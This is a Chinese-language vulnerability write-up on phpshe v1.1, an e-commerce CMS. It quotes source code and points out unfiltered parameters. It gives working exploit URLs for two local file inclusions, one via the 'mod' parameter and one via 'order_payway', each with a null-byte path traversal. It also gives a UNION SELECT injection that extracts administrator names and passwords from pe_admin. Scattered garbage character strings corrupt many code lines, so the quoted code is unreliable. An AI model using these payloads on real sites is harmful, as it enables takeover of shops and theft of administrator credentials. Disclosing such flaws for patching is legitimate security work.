phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
9 _# J- U1 S& e3 a# \- g; S% T1 \/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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//common.php
& F( b* X0 p* L2 ~1 sif (get_magic_quotes_gpc()) {
5 L- K/ U% d4 A6 L% w!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
* |/ T0 Q3 W: h" nelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
  s% x) H, r5 Z!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
4 _. ~; H% J. V, cpe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
, Q: l" i5 T& P$ j' D- U  ^- E) Z$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
& Z2 h8 x4 R) n3 ?3 l$ u//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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1 o' p+ ]5 Q( z: z: L* s 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
7 |' |' a  G7 e4 ^! q$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
( f) O' p/ s+ l3 ]* k  x//搜索
$sqlwhere = " and `product_state` = 1";
- o4 P$ |7 Y' `- K" Z1 N* A( Q; T& Tpe_lead('hook/category.hook.php');
" r, @2 V2 i- s) `' ^9 rif ($category_id) {
8 N6 ~7 q, x2 c+ [3 X; i1 X# twhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
/ @9 Y8 I7 m# @8 jif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
. |# a5 k7 q4 K2 {7 k% Z; N% v$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! z, n- n2 W/ L7 H7 e}
' D2 w" @9 z7 k5 d: ?! K* {( lelse {
$ O/ K3 a1 B/ W$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$ x* O: s$ g! `$product_hotlist = product_hotlist();
" B. ]1 A; r6 ~" X! _, q//当前路径
$nowpath = category_path($category_id);
  }" u; V( J6 c% A) P$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
1 `( W/ X8 M1 H% C4 \//跟进selectall函数库
+ z0 @# C1 f9 ^8 R- J% hpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
6 Q" Y3 [: r9 o7 r$sqlwhere = $this->_dowhere($where);
/ v1 r) \% h  @$ t" U2 kreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" H3 h, O8 x5 \1 o}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

. L  n5 Q4 T* _' A$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

1 g/ S  L2 L5 x  @4 z$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

% m. M1 s; c2 I. E/ {5 V# K; A2 ]( e7 Q$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

2 R9 h7 u/ Q& V- s# {6 u0 a}

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( }3 F, ~. V; W6 ]% o' B$ o$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

7 ~5 }+ r- N/ a! ~+ \$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

8 t& O8 m# M9 z( L" [}

9 W$ O1 M. j3 X4 A/ }6 o. s0 Oecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

$ ]" G$ x7 j* ]1 H; ~: p9 z. belse {

pe_error('支付错误...');

% n: |" _9 J% x2 A; J}

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2 P1 a1 D1 w9 v3 i$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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